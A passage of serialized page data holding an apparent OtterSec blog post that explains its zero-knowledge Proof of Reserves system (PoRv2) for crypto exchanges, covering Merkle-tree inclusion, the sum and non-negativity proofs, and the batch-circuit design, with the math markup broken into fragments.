open-source implementation, PoRv2. Our proof-of-reserve enables users to verify exchange liabilities without relying on external auditors, setting a new standard for trust.","2025-08-27",{"src":93562,"width":15,"height":15},"/posts/por/title.png",[93564,93565],"zk","por",{"type":22,"children":93567,"toc":98319},[93568,93574,93586,93598,93603,93635,93649,93655,93667,93672,93677,93714,93719,93725,93730,93737,93742,93768,93773,93779,93799,93813,93821,93826,93831,93839,93852,93858,93940,93946,93951,93964,93969,93976,94000,94008,94013,94019,94024,94472,94485,94491,94496,94504,94522,94530,94543,94551,96212,96217,96224,96230,96235,96242,96258,96265,96273,96280,97791,97796,97803,97809,97814,97841,97846,97865,97871,97879,97897,97946,97954,97973,97995,98001,98014,98019,98026,98031,98094,98099,98106,98126,98132,98137,98143,98148,98192,98197,98205,98211,98216,98258,98263,98271,98276,98284,98288,98293,98306],{"type":25,"tag":26,"props":93569,"children":93571},{"id":93570},"what-is-a-proof-of-reserves",[93572],{"type":31,"value":93573},"What is a Proof of Reserves?",{"type":25,"tag":34,"props":93575,"children":93576},{},[93577,93579,93584],{"type":31,"value":93578},"At its heart, ",{"type":25,"tag":1252,"props":93580,"children":93581},{},[93582],{"type":31,"value":93583},"Proof of Reserves (PoR)",{"type":31,"value":93585}," is a crucial system designed to show that a crypto platform genuinely holds the funds it owes to its users. It's how exchanges and custodians can prove, using strong cryptographic methods, that they have enough assets to cover all customer deposits.",{"type":25,"tag":34,"props":93587,"children":93588},{},[93589,93591,93596],{"type":31,"value":93590},"Think of it this way: ",{"type":25,"tag":1252,"props":93592,"children":93593},{},[93594],{"type":31,"value":93595},"PoR",{"type":31,"value":93597}," is about enabling transparency. It's a way for platforms to provide clear, verifiable evidence of their financial health. For users, it means gaining confidence that their funds are secure on the platforms they use.",{"type":25,"tag":34,"props":93599,"children":93600},{},[93601],{"type":31,"value":93602},"Historically, traditional ways of proving reserves often had drawbacks. They might reveal too much sensitive information about the platform and rely heavily on external auditors without a direct user verification method.",{"type":25,"tag":34,"props":93604,"children":93605},{},[93606,93608,93615,93617,93624,93626,93633],{"type":31,"value":93607},"We from OtterSec, in partnership with ",{"type":25,"tag":71,"props":93609,"children":93612},{"href":93610,"rel":93611},"https://backpack.exchange/",[75],[93613],{"type":31,"value":93614},"Backpack",{"type":31,"value":93616},", just developed a Proof of Reserves system that can be used to prove CEX solvency. Our ",{"type":25,"tag":71,"props":93618,"children":93621},{"href":93619,"rel":93620},"https://github.com/otter-sec/por_v2",[75],[93622],{"type":31,"value":93623},"Zero-Knowledge Proof of Reserves (PoRv2)",{"type":31,"value":93625}," was based on ",{"type":25,"tag":71,"props":93627,"children":93630},{"href":93628,"rel":93629},"https://www.okx.com/en-eu/help/zero-knowledge-proofs-what-are-zk-starks-and-how-do-they-work-v2",[75],[93631],{"type":31,"value":93632},"OKX Proof of Reserves algorithm",{"type":31,"value":93634}," since it was the fastest and most efficient one known so far. We also use recursive plonky2 as the algorithm for zero-knowledge proving, but we made some improvements to the circuits for more transparency and verifiable information on the user side, eliminating the need to trust the audit company.",{"type":25,"tag":34,"props":93636,"children":93637},{},[93638,93640,93647],{"type":31,"value":93639},"In addition, we also created and open-sourced a ",{"type":25,"tag":71,"props":93641,"children":93644},{"href":93642,"rel":93643},"https://github.com/otter-sec/por_verifier_server",[75],[93645],{"type":31,"value":93646},"PoR verifier server",{"type":31,"value":93648}," that receives the proofs and validates them.",{"type":25,"tag":26,"props":93650,"children":93652},{"id":93651},"why-do-we-use-zk-for-por",[93653],{"type":31,"value":93654},"Why do we use ZK for PoR?",{"type":25,"tag":34,"props":93656,"children":93657},{},[93658,93660,93665],{"type":31,"value":93659},"Proving reserves is crucial, but it presents a unique challenge for any platform holding user funds: how do you publicly prove solvency without also exposing sensitive user balance information or revealing proprietary financial details? This is where ",{"type":25,"tag":1252,"props":93661,"children":93662},{},[93663],{"type":31,"value":93664},"Zero-Knowledge Proofs (ZKPs)",{"type":31,"value":93666}," become game-changers.",{"type":25,"tag":34,"props":93668,"children":93669},{},[93670],{"type":31,"value":93671},"Simply put, a Zero-Knowledge Proof allows one party to prove to another that a statement is true without revealing any information beyond the validity of the statement itself. Imagine proving you know a secret password without actually telling anyone the password. You confirm you possess the knowledge, but the secret remains yours.",{"type":25,"tag":34,"props":93673,"children":93674},{},[93675],{"type":31,"value":93676},"In the context of Proof of Reserves, ZKPs are perfectly suited to solve the privacy paradox. They enable a platform to prove two important things cryptographically:",{"type":25,"tag":6944,"props":93678,"children":93679},{},[93680,93697],{"type":25,"tag":6948,"props":93681,"children":93682},{},[93683,93688,93690,93696],{"type":25,"tag":1252,"props":93684,"children":93685},{},[93686],{"type":31,"value":93687},"Sum proof",{"type":31,"value":93689},": The exchange liability is equal to the sum of all users' balances. (e.g: ",{"type":25,"tag":115,"props":93691,"children":93693},{"className":93692},[],[93694],{"type":31,"value":93695},"btc_liability = user1_btc + user2_btc + user3_btc + ...",{"type":31,"value":3953},{"type":25,"tag":6948,"props":93698,"children":93699},{},[93700,93705,93707,93712],{"type":25,"tag":1252,"props":93701,"children":93702},{},[93703],{"type":31,"value":93704},"Non-negativity",{"type":31,"value":93706},": All users have a ",{"type":25,"tag":1252,"props":93708,"children":93709},{},[93710],{"type":31,"value":93711},"positive",{"type":31,"value":93713}," net balance. This ensures that the sum proof is not tampered with by users with negative net balances. A user can have negative asset balances (e.g., borrowing BTC) but only if collateralized with other assets.",{"type":25,"tag":34,"props":93715,"children":93716},{},[93717],{"type":31,"value":93718},"It is worth noting that we cannot guarantee that all users were included in the ZK analysis. Therefore, if we only used ZKPs to prove those two statements, the exchange could tamper with the sum proof by excluding users from the PoR. That's why we also use a Merkle tree to prove inclusions.",{"type":25,"tag":26,"props":93720,"children":93722},{"id":93721},"what-is-a-merkle-tree-and-how-does-it-help-in-a-por",[93723],{"type":31,"value":93724},"What is a Merkle Tree and how does it help in a PoR?",{"type":25,"tag":34,"props":93726,"children":93727},{},[93728],{"type":31,"value":93729},"A Merkle tree is a tree data structure where each leaf node is a cryptographic hash of an individual piece of data (like a user's balance), and every non-leaf node is a cryptographic hash of its child nodes. This structure allows for the entire dataset to be summarized by a single, unique hash at the top, called the Merkle Root.",{"type":25,"tag":34,"props":93731,"children":93732},{},[93733],{"type":25,"tag":127,"props":93734,"children":93736},{"alt":51656,"src":93735},"/posts/por/merkle-tree.png",[],{"type":25,"tag":34,"props":93738,"children":93739},{},[93740],{"type":31,"value":93741},"In the PoR, we can use a Merkle tree to verify the inclusion of each user in the Proof of Reserves. It works like this:",{"type":25,"tag":6944,"props":93743,"children":93744},{},[93745,93758,93763],{"type":25,"tag":6948,"props":93746,"children":93747},{},[93748,93750,93756],{"type":31,"value":93749},"The Merkle tree is generated using the leaf nodes as the hashes of the user information (e.g., ",{"type":25,"tag":115,"props":93751,"children":93753},{"className":93752},[],[93754],{"type":31,"value":93755},"sha256({id: 1, balances: {\"BTC\": 0.1, \"ETH\": 0.2, ...}})",{"type":31,"value":93757},");",{"type":25,"tag":6948,"props":93759,"children":93760},{},[93761],{"type":31,"value":93762},"The Merkle tree is made public;",{"type":25,"tag":6948,"props":93764,"children":93765},{},[93766],{"type":31,"value":93767},"Each user can download the Merkle tree and check if their account was included by hashing their account information and checking if the hash is one of the leaves;",{"type":25,"tag":34,"props":93769,"children":93770},{},[93771],{"type":31,"value":93772},"In other words, this use of the Merkle tree allows users to easily verify that their individual balance was included in the overall total.",{"type":25,"tag":26,"props":93774,"children":93776},{"id":93775},"ottersec-porv2",[93777],{"type":31,"value":93778},"OtterSec PoRv2",{"type":25,"tag":34,"props":93780,"children":93781},{},[93782,93788,93790,93797],{"type":25,"tag":71,"props":93783,"children":93785},{"href":93619,"rel":93784},[75],[93786],{"type":31,"value":93787},"We just open-sourced our Proof of Reserves code (PoRv2)",{"type":31,"value":93789},", which uses the ",{"type":25,"tag":71,"props":93791,"children":93794},{"href":93792,"rel":93793},"https://github.com/0xPolygonZero/plonky2",[75],[93795],{"type":31,"value":93796},"plonky2 ZK algorithm",{"type":31,"value":93798}," to create a Merkle tree and a final ZK proof that recursively verifies smaller sum and non-negativity proofs.",{"type":25,"tag":34,"props":93800,"children":93801},{},[93802,93804,93811],{"type":31,"value":93803},"We named it PoRv2 because we already had a version based on ",{"type":25,"tag":71,"props":93805,"children":93808},{"href":93806,"rel":93807},"https://vitalik.eth.limo/general/2022/11/19/proof_of_solvency.html",[75],[93809],{"type":31,"value":93810},"Vitalik's proof of solvency",{"type":31,"value":93812},", which was not optimal.",{"type":25,"tag":34,"props":93814,"children":93815},{},[93816],{"type":25,"tag":1252,"props":93817,"children":93818},{},[93819],{"type":31,"value":93820},"Non-negativity Proof",{"type":25,"tag":34,"props":93822,"children":93823},{},[93824],{"type":31,"value":93825},"In our non-negativity proof, the circuit receives the asset balances of each user and the price of each asset. With these inputs, it calculates the account's USD balance and checks if it is greater than 0.",{"type":25,"tag":34,"props":93827,"children":93828},{},[93829],{"type":31,"value":93830},"We also check for overflows during summation to prevent tampering in the final result.",{"type":25,"tag":34,"props":93832,"children":93833},{},[93834],{"type":25,"tag":1252,"props":93835,"children":93836},{},[93837],{"type":31,"value":93838},"Sum Proof",{"type":25,"tag":34,"props":93840,"children":93841},{},[93842,93844,93850],{"type":31,"value":93843},"The sum proof verifies a public circuit input that was calculated by summing up all user balances of each asset. (e.g., ",{"type":25,"tag":115,"props":93845,"children":93847},{"className":93846},[],[93848],{"type":31,"value":93849},"BTC final: user1_btc + user2_btc ...",{"type":31,"value":93851},"). Note that each asset's final sum is not USD-based; we calculate the final balance using the asset balance itself.",{"type":25,"tag":40,"props":93853,"children":93855},{"id":93854},"what-are-the-ottersec-porv2-key-points",[93856],{"type":31,"value":93857},"What are the OtterSec PoRv2 key points?",{"type":25,"tag":6944,"props":93859,"children":93860},{},[93861,93871,93889,93899,93930],{"type":25,"tag":6948,"props":93862,"children":93863},{},[93864,93869],{"type":25,"tag":1252,"props":93865,"children":93866},{},[93867],{"type":31,"value":93868},"Transparency",{"type":31,"value":93870},": It is possible for the exchange to safely disclose the entire Merkle tree so users can verify it without the need for an external auditing company. Also, the code allows asset price commitments and verifications.",{"type":25,"tag":6948,"props":93872,"children":93873},{},[93874,93879,93881,93888],{"type":25,"tag":1252,"props":93875,"children":93876},{},[93877],{"type":31,"value":93878},"Time-efficiency",{"type":31,"value":93880},": We were able to reduce the amount of time to prove by more than 100 times from our previous version by generating proofs for 750,000 users within 8 minutes using a Mac M3 Pro. ",{"type":25,"tag":71,"props":93882,"children":93885},{"href":93883,"rel":93884},"https://github.com/otter-sec/por_v2?tab=readme-ov-file#benchmark",[75],[93886],{"type":31,"value":93887},"Check our benchmark",{"type":31,"value":80},{"type":25,"tag":6948,"props":93890,"children":93891},{},[93892,93897],{"type":25,"tag":1252,"props":93893,"children":93894},{},[93895],{"type":31,"value":93896},"Memory-efficiency",{"type":31,"value":93898},": We also were able to reduce the amount of RAM needed to prove the liabilities of millions of users. Now, we are able to use machines with 16GB.",{"type":25,"tag":6948,"props":93900,"children":93901},{},[93902,93907,93909,93914,93916,93921,93923,93928],{"type":25,"tag":1252,"props":93903,"children":93904},{},[93905],{"type":31,"value":93906},"Small-proofs",{"type":31,"value":93908},": We were able to reduce the final proof to less than ",{"type":25,"tag":1252,"props":93910,"children":93911},{},[93912],{"type":31,"value":93913},"500KB",{"type":31,"value":93915}," and each inclusion proof to ",{"type":25,"tag":1252,"props":93917,"children":93918},{},[93919],{"type":31,"value":93920},"~52KB",{"type":31,"value":93922},". The only big file that we need to store is the Merkle tree, which doesn't consume more than ",{"type":25,"tag":1252,"props":93924,"children":93925},{},[93926],{"type":31,"value":93927},"200MB",{"type":31,"value":93929}," if the PoR parameters are finely adjusted. Additionally, instead of storing each inclusion proof in a static file, we provide an efficient method to generate inclusion proofs on demand, eliminating the need for the exchange to store millions of files and conserve disk space and resources.",{"type":25,"tag":6948,"props":93931,"children":93932},{},[93933,93938],{"type":25,"tag":1252,"props":93934,"children":93935},{},[93936],{"type":31,"value":93937},"Privacy",{"type":31,"value":93939},": We use many cryptographic mechanisms to ensure that the user balances and other private information are kept safe and secret.",{"type":25,"tag":26,"props":93941,"children":93943},{"id":93942},"zk-circuits",[93944],{"type":31,"value":93945},"ZK Circuits",{"type":25,"tag":34,"props":93947,"children":93948},{},[93949],{"type":31,"value":93950},"We use two different ZK circuits to generate the final proof:",{"type":25,"tag":6944,"props":93952,"children":93953},{},[93954,93959],{"type":25,"tag":6948,"props":93955,"children":93956},{},[93957],{"type":31,"value":93958},"Batch circuit",{"type":25,"tag":6948,"props":93960,"children":93961},{},[93962],{"type":31,"value":93963},"Recursive circuit",{"type":25,"tag":34,"props":93965,"children":93966},{},[93967],{"type":31,"value":93968},"With those two circuits, we can generate the proofs recursive tree:",{"type":25,"tag":34,"props":93970,"children":93971},{},[93972],{"type":25,"tag":127,"props":93973,"children":93975},{"alt":51656,"src":93974},"/posts/por/batch-circuit.png",[],{"type":25,"tag":4439,"props":93977,"children":93978},{},[93979],{"type":25,"tag":34,"props":93980,"children":93981},{},[93982,93984,93990,93992,93998],{"type":31,"value":93983},"Note: We are using 512 as ",{"type":25,"tag":115,"props":93985,"children":93987},{"className":93986},[],[93988],{"type":31,"value":93989},"BATCH_SIZE",{"type":31,"value":93991}," and 8 as ",{"type":25,"tag":115,"props":93993,"children":93995},{"className":93994},[],[93996],{"type":31,"value":93997},"RECURSIVE_SIZE",{"type":31,"value":93999}," which indicates how many children each circuit has. This is easily adjustable in the code, and the optimal configuration will depend on the amount of accounts being proved in the PoR.",{"type":25,"tag":4439,"props":94001,"children":94002},{},[94003],{"type":25,"tag":34,"props":94004,"children":94005},{},[94006],{"type":31,"value":94007},"Note 2: We add empty proofs as padding to chunks that don't have the correct length.",{"type":25,"tag":34,"props":94009,"children":94010},{},[94011],{"type":31,"value":94012},"Each non-leaf node in this tree is a ZK proof, which is generated using the related circuit; each circuit also generates the Merkle tree hash of each node, which is included in the Merkle tree.",{"type":25,"tag":40,"props":94014,"children":94016},{"id":94015},"leaf-nodes",[94017],{"type":31,"value":94018},"Leaf Nodes",{"type":25,"tag":34,"props":94020,"children":94021},{},[94022],{"type":31,"value":94023},"The leaf nodes are the hashes of the account information. It is calculated in this way:",{"type":25,"tag":34,"props":94025,"children":94026},{},[94027],{"type":25,"tag":115,"props":94028,"children":94030},{"className":94029},[5485,5486],[94031],{"type":25,"tag":201,"props":94032,"children":94034},{"className":94033},[5491],[94035],{"type":25,"tag":201,"props":94036,"children":94038},{"className":94037,"ariaHidden":5497},[5496],[94039,94066],{"type":25,"tag":201,"props":94040,"children":94042},{"className":94041},[5502],[94043,94048,94053,94057,94062],{"type":25,"tag":201,"props":94044,"children":94047},{"className":94045,"style":94046},[5507],"height:0.6944em;",[],{"type":25,"tag":201,"props":94049,"children":94051},{"className":94050},[5513,23083],[94052],{"type":31,"value":85429},{"type":25,"tag":201,"props":94054,"children":94056},{"className":94055,"style":5691},[5593],[],{"type":25,"tag":201,"props":94058,"children":94060},{"className":94059},[5696],[94061],{"type":31,"value":1383},{"type":25,"tag":201,"props":94063,"children":94065},{"className":94064,"style":5691},[5593],[],{"type":25,"tag":201,"props":94067,"children":94069},{"className":94068},[5502],[94070,94075,94080,94086,94091,94096,94102,94107,94112,94117,94123,94128,94134,94140,94147,94153,94159,94219,94224,94230,94235,94240,94245,94250,94255,94260,94265,94270,94275,94332,94337,94342,94347,94352,94357,94362,94369,94374,94380,94385,94391,94397,94402,94407,94412,94417,94422,94427,94432,94437,94442,94447,94452,94457,94462,94467],{"type":25,"tag":201,"props":94071,"children":94074},{"className":94072,"style":94073},[5507],"height:1.06em;vertical-align:-0.31em;",[],{"type":25,"tag":201,"props":94076,"children":94078},{"className":94077,"style":23084},[5513,23083],[94079],{"type":31,"value":23087},{"type":25,"tag":201,"props":94081,"children":94083},{"className":94082},[5513,23083],[94084],{"type":31,"value":94085},"ose",{"type":25,"tag":201,"props":94087,"children":94089},{"className":94088},[5513,23083],[94090],{"type":31,"value":3641},{"type":25,"tag":201,"props":94092,"children":94094},{"className":94093},[5513,23083],[94095],{"type":31,"value":71646},{"type":25,"tag":201,"props":94097,"children":94099},{"className":94098},[5513,23083],[94100],{"type":31,"value":94101},"o",{"type":25,"tag":201,"props":94103,"children":94105},{"className":94104},[5513,23083],[94106],{"type":31,"value":57482},{"type":25,"tag":201,"props":94108,"children":94110},{"className":94109},[23212],[94111],{"type":31,"value":298},{"type":25,"tag":201,"props":94113,"children":94115},{"className":94114},[5513,23083],[94116],{"type":31,"value":71},{"type":25,"tag":201,"props":94118,"children":94120},{"className":94119},[5513,23083],[94121],{"type":31,"value":94122},"sse",{"type":25,"tag":201,"props":94124,"children":94126},{"className":94125},[5513,23083],[94127],{"type":31,"value":23225},{"type":25,"tag":201,"props":94129,"children":94132},{"className":94130,"style":94131},[5513],"margin-right:0.02778em;",[94133],{"type":31,"value":4589},{"type":25,"tag":201,"props":94135,"children":94137},{"className":94136},[5513,23083],[94138],{"type":31,"value":94139},"ba",{"type":25,"tag":201,"props":94141,"children":94144},{"className":94142,"style":94143},[5513,23083],"margin-right:0.01968em;",[94145],{"type":31,"value":94146},"l",{"type":25,"tag":201,"props":94148,"children":94150},{"className":94149},[5513,23083],[94151],{"type":31,"value":94152},"an",{"type":25,"tag":201,"props":94154,"children":94156},{"className":94155},[5513,23083],[94157],{"type":31,"value":94158},"ce",{"type":25,"tag":201,"props":94160,"children":94162},{"className":94161},[5513],[94163,94168],{"type":25,"tag":201,"props":94164,"children":94166},{"className":94165},[5513,23083],[94167],{"type":31,"value":12153},{"type":25,"tag":201,"props":94169,"children":94171},{"className":94170},[5529],[94172],{"type":25,"tag":201,"props":94173,"children":94175},{"className":94174},[5534,23137],[94176,94207],{"type":25,"tag":201,"props":94177,"children":94179},{"className":94178},[5539],[94180,94202],{"type":25,"tag":201,"props":94181,"children":94184},{"className":94182,"style":94183},[5544],"height:0.3011em;",[94185],{"type":25,"tag":201,"props":94186,"children":94188},{"style":94187},"top:-2.55em;margin-left:0em;margin-right:0.05em;",[94189,94193],{"type":25,"tag":201,"props":94190,"children":94192},{"className":94191,"style":5554},[5553],[],{"type":25,"tag":201,"props":94194,"children":94196},{"className":94195},[5559,5560,5561,5562],[94197],{"type":25,"tag":201,"props":94198,"children":94200},{"className":94199},[5513,5562],[94201],{"type":31,"value":429},{"type":25,"tag":201,"props":94203,"children":94205},{"className":94204},[23240],[94206],{"type":31,"value":23243},{"type":25,"tag":201,"props":94208,"children":94210},{"className":94209},[5539],[94211],{"type":25,"tag":201,"props":94212,"children":94215},{"className":94213,"style":94214},[5544],"height:0.15em;",[94216],{"type":25,"tag":201,"props":94217,"children":94218},{},[],{"type":25,"tag":201,"props":94220,"children":94222},{"className":94221},[5593],[94223],{"type":31,"value":23184},{"type":25,"tag":201,"props":94225,"children":94227},{"className":94226},[5513],[94228],{"type":31,"value":94229},"∣∣",{"type":25,"tag":201,"props":94231,"children":94233},{"className":94232},[5593],[94234],{"type":31,"value":23184},{"type":25,"tag":201,"props":94236,"children":94238},{"className":94237},[5513,23083],[94239],{"type":31,"value":71},{"type":25,"tag":201,"props":94241,"children":94243},{"className":94242},[5513,23083],[94244],{"type":31,"value":94122},{"type":25,"tag":201,"props":94246,"children":94248},{"className":94247},[5513,23083],[94249],{"type":31,"value":23225},{"type":25,"tag":201,"props":94251,"children":94253},{"className":94252,"style":94131},[5513],[94254],{"type":31,"value":4589},{"type":25,"tag":201,"props":94256,"children":94258},{"className":94257},[5513,23083],[94259],{"type":31,"value":94139},{"type":25,"tag":201,"props":94261,"children":94263},{"className":94262,"style":94143},[5513,23083],[94264],{"type":31,"value":94146},{"type":25,"tag":201,"props":94266,"children":94268},{"className":94267},[5513,23083],[94269],{"type":31,"value":94152},{"type":25,"tag":201,"props":94271,"children":94273},{"className":94272},[5513,23083],[94274],{"type":31,"value":94158},{"type":25,"tag":201,"props":94276,"children":94278},{"className":94277},[5513],[94279,94284],{"type":25,"tag":201,"props":94280,"children":94282},{"className":94281},[5513,23083],[94283],{"type":31,"value":12153},{"type":25,"tag":201,"props":94285,"children":94287},{"className":94286},[5529],[94288],{"type":25,"tag":201,"props":94289,"children":94291},{"className":94290},[5534,23137],[94292,94321],{"type":25,"tag":201,"props":94293,"children":94295},{"className":94294},[5539],[94296,94316],{"type":25,"tag":201,"props":94297,"children":94299},{"className":94298,"style":94183},[5544],[94300],{"type":25,"tag":201,"props":94301,"children":94302},{"style":94187},[94303,94307],{"type":25,"tag":201,"props":94304,"children":94306},{"className":94305,"style":5554},[5553],[],{"type":25,"tag":201,"props":94308,"children":94310},{"className":94309},[5559,5560,5561,5562],[94311],{"type":25,"tag":201,"props":94312,"children":94314},{"className":94313},[5513,5562],[94315],{"type":31,"value":5516},{"type":25,"tag":201,"props":94317,"children":94319},{"className":94318},[23240],[94320],{"type":31,"value":23243},{"type":25,"tag":201,"props":94322,"children":94324},{"className":94323},[5539],[94325],{"type":25,"tag":201,"props":94326,"children":94328},{"className":94327,"style":94214},[5544],[94329],{"type":25,"tag":201,"props":94330,"children":94331},{},[],{"type":25,"tag":201,"props":94333,"children":94335},{"className":94334},[5593],[94336],{"type":31,"value":23184},{"type":25,"tag":201,"props":94338,"children":94340},{"className":94339},[5513],[94341],{"type":31,"value":11095},{"type":25,"tag":201,"props":94343,"children":94345},{"className":94344},[5593],[94346],{"type":31,"value":23184},{"type":25,"tag":201,"props":94348,"children":94350},{"className":94349},[5513],[94351],{"type":31,"value":94229},{"type":25,"tag":201,"props":94353,"children":94355},{"className":94354},[5593],[94356],{"type":31,"value":23184},{"type":25,"tag":201,"props":94358,"children":94360},{"className":94359,"style":23542},[5513,23083],[94361],{"type":31,"value":23545},{"type":25,"tag":201,"props":94363,"children":94366},{"className":94364,"style":94365},[5513,23083],"margin-right:0.08125em;",[94367],{"type":31,"value":94368},"H",{"type":25,"tag":201,"props":94370,"children":94372},{"className":94371},[5513,23083],[94373],{"type":31,"value":77851},{"type":25,"tag":201,"props":94375,"children":94377},{"className":94376},[5513],[94378],{"type":31,"value":94379},"256",{"type":25,"tag":201,"props":94381,"children":94383},{"className":94382},[23212],[94384],{"type":31,"value":298},{"type":25,"tag":201,"props":94386,"children":94388},{"className":94387},[5513,23083],[94389],{"type":31,"value":94390},"u",{"type":25,"tag":201,"props":94392,"children":94394},{"className":94393,"style":94131},[5513,23083],[94395],{"type":31,"value":94396},"ser",{"type":25,"tag":201,"props":94398,"children":94400},{"className":94399,"style":94131},[5513],[94401],{"type":31,"value":4589},{"type":25,"tag":201,"props":94403,"children":94405},{"className":94404},[5513,23083],[94406],{"type":31,"value":3641},{"type":25,"tag":201,"props":94408,"children":94410},{"className":94409},[5513,23083],[94411],{"type":31,"value":71646},{"type":25,"tag":201,"props":94413,"children":94415},{"className":94414},[23234],[94416],{"type":31,"value":3073},{"type":25,"tag":201,"props":94418,"children":94420},{"className":94419},[5593],[94421],{"type":31,"value":23184},{"type":25,"tag":201,"props":94423,"children":94425},{"className":94424},[5513],[94426],{"type":31,"value":94229},{"type":25,"tag":201,"props":94428,"children":94430},{"className":94429},[5593],[94431],{"type":31,"value":23184},{"type":25,"tag":201,"props":94433,"children":94435},{"className":94434},[5513,23083],[94436],{"type":31,"value":94390},{"type":25,"tag":201,"props":94438,"children":94440},{"className":94439,"style":94131},[5513,23083],[94441],{"type":31,"value":94396},{"type":25,"tag":201,"props":94443,"children":94445},{"className":94444,"style":94131},[5513],[94446],{"type":31,"value":4589},{"type":25,"tag":201,"props":94448,"children":94450},{"className":94449},[5513,23083],[94451],{"type":31,"value":57482},{"type":25,"tag":201,"props":94453,"children":94455},{"className":94454},[5513,23083],[94456],{"type":31,"value":94101},{"type":25,"tag":201,"props":94458,"children":94460},{"className":94459},[5513,23083],[94461],{"type":31,"value":57482},{"type":25,"tag":201,"props":94463,"children":94465},{"className":94464},[5513,23083],[94466],{"type":31,"value":94158},{"type":25,"tag":201,"props":94468,"children":94470},{"className":94469},[23234],[94471],{"type":31,"value":3073},{"type":25,"tag":34,"props":94473,"children":94474},{},[94475,94477,94483],{"type":31,"value":94476},"In other words, all balances are concatenated with the hashed user ID (which can be a ",{"type":25,"tag":115,"props":94478,"children":94480},{"className":94479},[],[94481],{"type":31,"value":94482},"uuid",{"type":31,"value":94484},", a username or an incremental ID) and with a nonce. The nonce is a random number that serves as a security measure against attackers who could brute-force the hash to find out other users' balances. Since the Merkle tree is a public proof, we need to be careful against these types of data leaks.",{"type":25,"tag":40,"props":94486,"children":94488},{"id":94487},"batch-circuit",[94489],{"type":31,"value":94490},"Batch Circuit",{"type":25,"tag":34,"props":94492,"children":94493},{},[94494],{"type":31,"value":94495},"The batch circuit is the first proven circuit in the PoR algorithm. It receives the account's information (grouped in 512) and generates the ZK proof with those constraints:",{"type":25,"tag":34,"props":94497,"children":94498},{},[94499],{"type":25,"tag":1252,"props":94500,"children":94501},{},[94502],{"type":31,"value":94503},"Public Inputs",{"type":25,"tag":18183,"props":94505,"children":94506},{},[94507,94512,94517],{"type":25,"tag":6948,"props":94508,"children":94509},{},[94510],{"type":31,"value":94511},"Asset prices in USD",{"type":25,"tag":6948,"props":94513,"children":94514},{},[94515],{"type":31,"value":94516},"Merkle tree hash",{"type":25,"tag":6948,"props":94518,"children":94519},{},[94520],{"type":31,"value":94521},"Summed asset balances",{"type":25,"tag":34,"props":94523,"children":94524},{},[94525],{"type":25,"tag":1252,"props":94526,"children":94527},{},[94528],{"type":31,"value":94529},"Private Inputs",{"type":25,"tag":18183,"props":94531,"children":94532},{},[94533,94538],{"type":25,"tag":6948,"props":94534,"children":94535},{},[94536],{"type":31,"value":94537},"Users balances",{"type":25,"tag":6948,"props":94539,"children":94540},{},[94541],{"type":31,"value":94542},"Merkle tree leaves hashes",{"type":25,"tag":34,"props":94544,"children":94545},{},[94546],{"type":25,"tag":1252,"props":94547,"children":94548},{},[94549],{"type":31,"value":94550},"Constraints",{"type":25,"tag":18183,"props":94552,"children":94553},{},[94554,95007,95175,95522,95920],{"type":25,"tag":6948,"props":94555,"children":94556},{},[94557],{"type":25,"tag":115,"props":94558,"children":94560},{"className":94559},[5485,5486],[94561],{"type":25,"tag":201,"props":94562,"children":94564},{"className":94563},[5491],[94565],{"type":25,"tag":201,"props":94566,"children":94568},{"className":94567,"ariaHidden":5497},[5496],[94569,94708,94912],{"type":25,"tag":201,"props":94570,"children":94572},{"className":94571},[5502],[94573,94578,94583,94589,94594,94599,94604,94609,94614,94621,94626,94631,94636,94695,94699,94704],{"type":25,"tag":201,"props":94574,"children":94577},{"className":94575,"style":94576},[5507],"height:0.9695em;vertical-align:-0.31em;",[],{"type":25,"tag":201,"props":94579,"children":94581},{"className":94580},[5513,23083],[94582],{"type":31,"value":71},{"type":25,"tag":201,"props":94584,"children":94586},{"className":94585},[5513,23083],[94587],{"type":31,"value":94588},"cco",{"type":25,"tag":201,"props":94590,"children":94592},{"className":94591},[5513,23083],[94593],{"type":31,"value":94390},{"type":25,"tag":201,"props":94595,"children":94597},{"className":94596},[5513,23083],[94598],{"type":31,"value":57482},{"type":25,"tag":201,"props":94600,"children":94602},{"className":94601},[5513,23083],[94603],{"type":31,"value":23225},{"type":25,"tag":201,"props":94605,"children":94607},{"className":94606,"style":94131},[5513],[94608],{"type":31,"value":4589},{"type":25,"tag":201,"props":94610,"children":94612},{"className":94611},[5513,23083],[94613],{"type":31,"value":52532},{"type":25,"tag":201,"props":94615,"children":94618},{"className":94616,"style":94617},[5513,23083],"margin-right:0.03588em;",[94619],{"type":31,"value":94620},"q",{"type":25,"tag":201,"props":94622,"children":94624},{"className":94623},[5513,23083],[94625],{"type":31,"value":94390},{"type":25,"tag":201,"props":94627,"children":94629},{"className":94628},[5513,23083],[94630],{"type":31,"value":3641},{"type":25,"tag":201,"props":94632,"children":94634},{"className":94633},[5513,23083],[94635],{"type":31,"value":23225},{"type":25,"tag":201,"props":94637,"children":94639},{"className":94638},[5513],[94640,94645],{"type":25,"tag":201,"props":94641,"children":94643},{"className":94642,"style":94617},[5513,23083],[94644],{"type":31,"value":4620},{"type":25,"tag":201,"props":94646,"children":94648},{"className":94647},[5529],[94649],{"type":25,"tag":201,"props":94650,"children":94652},{"className":94651},[5534,23137],[94653,94684],{"type":25,"tag":201,"props":94654,"children":94656},{"className":94655},[5539],[94657,94679],{"type":25,"tag":201,"props":94658,"children":94661},{"className":94659,"style":94660},[5544],"height:0.3117em;",[94662],{"type":25,"tag":201,"props":94663,"children":94665},{"style":94664},"top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;",[94666,94670],{"type":25,"tag":201,"props":94667,"children":94669},{"className":94668,"style":5554},[5553],[],{"type":25,"tag":201,"props":94671,"children":94673},{"className":94672},[5559,5560,5561,5562],[94674],{"type":25,"tag":201,"props":94675,"children":94677},{"className":94676},[5513,23083,5562],[94678],{"type":31,"value":3641},{"type":25,"tag":201,"props":94680,"children":94682},{"className":94681},[23240],[94683],{"type":31,"value":23243},{"type":25,"tag":201,"props":94685,"children":94687},{"className":94686},[5539],[94688],{"type":25,"tag":201,"props":94689,"children":94691},{"className":94690,"style":94214},[5544],[94692],{"type":25,"tag":201,"props":94693,"children":94694},{},[],{"type":25,"tag":201,"props":94696,"children":94698},{"className":94697,"style":5691},[5593],[],{"type":25,"tag":201,"props":94700,"children":94702},{"className":94701},[5696],[94703],{"type":31,"value":10083},{"type":25,"tag":201,"props":94705,"children":94707},{"className":94706,"style":5691},[5593],[],{"type":25,"tag":201,"props":94709,"children":94711},{"className":94710},[5502],[94712,94716,94722,94727,94732,94737,94742,94747,94752,94757,94762,94767,94772,94777,94782,94787,94792,94797,94854,94859,94864,94869,94874,94879,94884,94889,94894,94899,94903,94908],{